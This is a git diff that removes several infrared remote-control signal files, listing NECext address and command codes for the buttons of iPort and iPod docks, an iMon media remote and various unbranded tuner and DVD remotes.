-name: Mono/Stereo_(Tuner_Function) -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 09 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0D 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 0F 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 10 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 11 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 12 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 17 00 00 00 -# -name: Slow_(DVD_Function) -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 18 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 19 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 1B 00 00 00 -# -name: Pre/Tun_(Tuner_Function) -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 1D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 1E 00 00 00 -# -name: Prog_(CD_Function) -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 1F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 40 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 41 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 42 00 00 00 -# -name: Menu_(DVD_Function) -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 43 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 44 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 45 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 46 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 47 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 48 00 00 00 -# -name: Aux1 -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 49 00 00 00 -# -name: Aux2 -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 4A 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 4B 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 50 00 00 00 -# -name: Repeat_(CD_Function) -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 52 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 53 00 00 00 -# -name: Audio_(DVD_Function) -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 55 00 00 00 -# -name: Display_RDS_(Tuner_Function) -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 56 00 00 00 -# -name: Setup_(DVD_Function) -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 57 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 59 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 5E 00 00 00 -# -name: Title_(DVD_Function) -type: parsed -protocol: NECext -address: 00 F6 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir deleted file mode 100644 index f88bf6dcf..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/fenner/Unknown_fenner/95,0.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 02 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 05 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 06 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 07 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 0A 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 0B 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 0C 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 0D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 0E 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 0F 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 11 00 00 00 -# -name: int_ext_1 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 12 00 00 00 -# -name: store -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 13 00 00 00 -# -name: bright -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 14 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 15 00 00 00 -# -name: fine_2 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 16 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 17 00 00 00 -# -name: int_ext_2 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 18 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 19 00 00 00 -# -name: lock -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 1B 00 00 00 -# -name: set -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 1C 00 00 00 -# -name: v_h -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 1D 00 00 00 -# -name: fine_1 -type: parsed -protocol: NECext -address: 5F 00 00 00 -command: 1E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/huth/Unknown_prof/15,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/huth/Unknown_prof/15,1.ir deleted file mode 100644 index a947cffc7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/huth/Unknown_prof/15,1.ir +++ /dev/null @@ -1,188 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TIMER -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 00 00 00 00 -# -name: EXT -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 01 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 02 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 04 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 05 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 07 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 09 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 0A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 0C 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 0D 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 0E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 0F 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 10 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 11 00 00 00 -# -name: HEADP -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 12 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 13 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 14 00 00 00 -# -name: X_KEY_0_DN -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 15 00 00 00 -# -name: X_KEY_1_DN -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 16 00 00 00 -# -name: LNB -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 17 00 00 00 -# -name: STATUS -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 18 00 00 00 -# -name: X_KEY_0_UP -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 19 00 00 00 -# -name: X_KEY_1_UP -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 1A 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 1B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 1C 00 00 00 -# -name: STEREO -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 1D 00 00 00 -# -name: AFC -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 1E 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0F 01 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/MP3 Player/1,222.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/MP3 Player/1,222.ir deleted file mode 100644 index 64be76d97..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/MP3 Player/1,222.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 03 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 07 00 00 00 -# -name: PREVIOUS_TRACK -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0B 00 00 00 -# -name: NEXT_ALBUM -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0C 00 00 00 -# -name: PREVIOUS_ALBUM -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 10 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 11 00 00 00 -# -name: NEXT_CHAPTER -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 12 00 00 00 -# -name: PREVIOUS_CHAPTER -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 13 00 00 00 -# -name: NEXT_PLAYLIST -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 14 00 00 00 -# -name: PREVIOUS_PLAYLIST -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 15 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 16 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 17 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 18 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 19 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1A 00 00 00 -# -name: BACK_LIGHT -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1B 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1F 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 20 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 21 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 22 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 23 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 24 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 25 00 00 00 -# -name: LED_ADJUST -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 30 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/iPod/1,222.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/iPod/1,222.ir deleted file mode 100644 index 9767a2f27..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/iPod/1,222.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: NEXT_TRACK -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 03 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 07 00 00 00 -# -name: PREVIOUS_TRACK -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0B 00 00 00 -# -name: NEXT_ALBUM -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0C 00 00 00 -# -name: PREVIOUS_ALBUM -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0E 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0F 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 10 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 11 00 00 00 -# -name: NEXT_CHAPTER -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 12 00 00 00 -# -name: PREVIOUS_CHAPTER -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 13 00 00 00 -# -name: NEXT_PLAYLIST -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 14 00 00 00 -# -name: PREVIOUS_PLAYLIST -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 15 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 16 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 17 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 18 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 19 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1A 00 00 00 -# -name: BACKLIGHT -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1B 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1F 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 20 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 21 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 22 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 23 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 24 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 25 00 00 00 -# -name: LED_ADJUSTMENT -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 30 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/iPort/1,222.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/iPort/1,222.ir deleted file mode 100644 index 884db3de1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/iPort/iPort/1,222.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: NEXT_SONG -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 03 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 07 00 00 00 -# -name: PREV_SONG -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0B 00 00 00 -# -name: NEXT_ALBUM -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0C 00 00 00 -# -name: PREV_ALBUM -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0D 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 0E 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 10 00 00 00 -# -name: NEXT_PLAY_LIST -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 14 00 00 00 -# -name: PREV_PLAY_LIST -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 15 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 16 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 17 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 18 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1F 00 00 00 -# -name: PLAY/PAUSE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1F 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1F 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 1F 00 00 00 -# -name: FAST_FORWARD -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 20 00 00 00 -# -name: NEXT_BOOK_CHAPTER -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 20 00 00 00 -# -name: PREVIOUS_BOOK_CHAPTE -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 21 00 00 00 -# -name: REWIND -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 21 00 00 00 -# -name: BACKLIGHT -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 22 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 22 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 23 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 24 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 25 00 00 00 -# -name: LED -type: parsed -protocol: NECext -address: 01 DE 00 00 -command: 30 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir deleted file mode 100644 index 662b75256..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/imon/Unknown_MultiMedian/6,-1.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 02 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 03 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 04 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 05 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 06 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 07 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 09 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0B 00 00 00 -# -name: Windows -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0D 00 00 00 -# -name: App.Launcher -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0E 00 00 00 -# -name: Function -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 0F 00 00 00 -# -name: Task.Switcher -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 10 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 11 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 12 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 13 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 14 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 15 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 16 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 17 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 18 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1C 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1D 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 1F 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 40 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 41 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 42 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 43 00 00 00 -# -name: KEY_OPEN -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 44 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 45 00 00 00 -# -name: Bookmark -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 46 00 00 00 -# -name: Thumbnail -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 47 00 00 00 -# -name: Aspect -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 48 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 49 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 4A 00 00 00 -# -name: KEY_DVD -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 4B 00 00 00 -# -name: KEY_F11 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 4C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir deleted file mode 100644 index c639e6e1b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ione/Unknown_remote/0,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: LIVE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: KEY_IMAGES -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1A 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1B 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1E 00 00 00 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 40 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 41 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 42 00 00 00 -# -name: PREVIOUS_CHAPTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4F 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: BLUE_BUTTON -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 53 00 00 00 -# -name: MORE/INFO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5B 00 00 00 -# -name: ESC/BACK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# 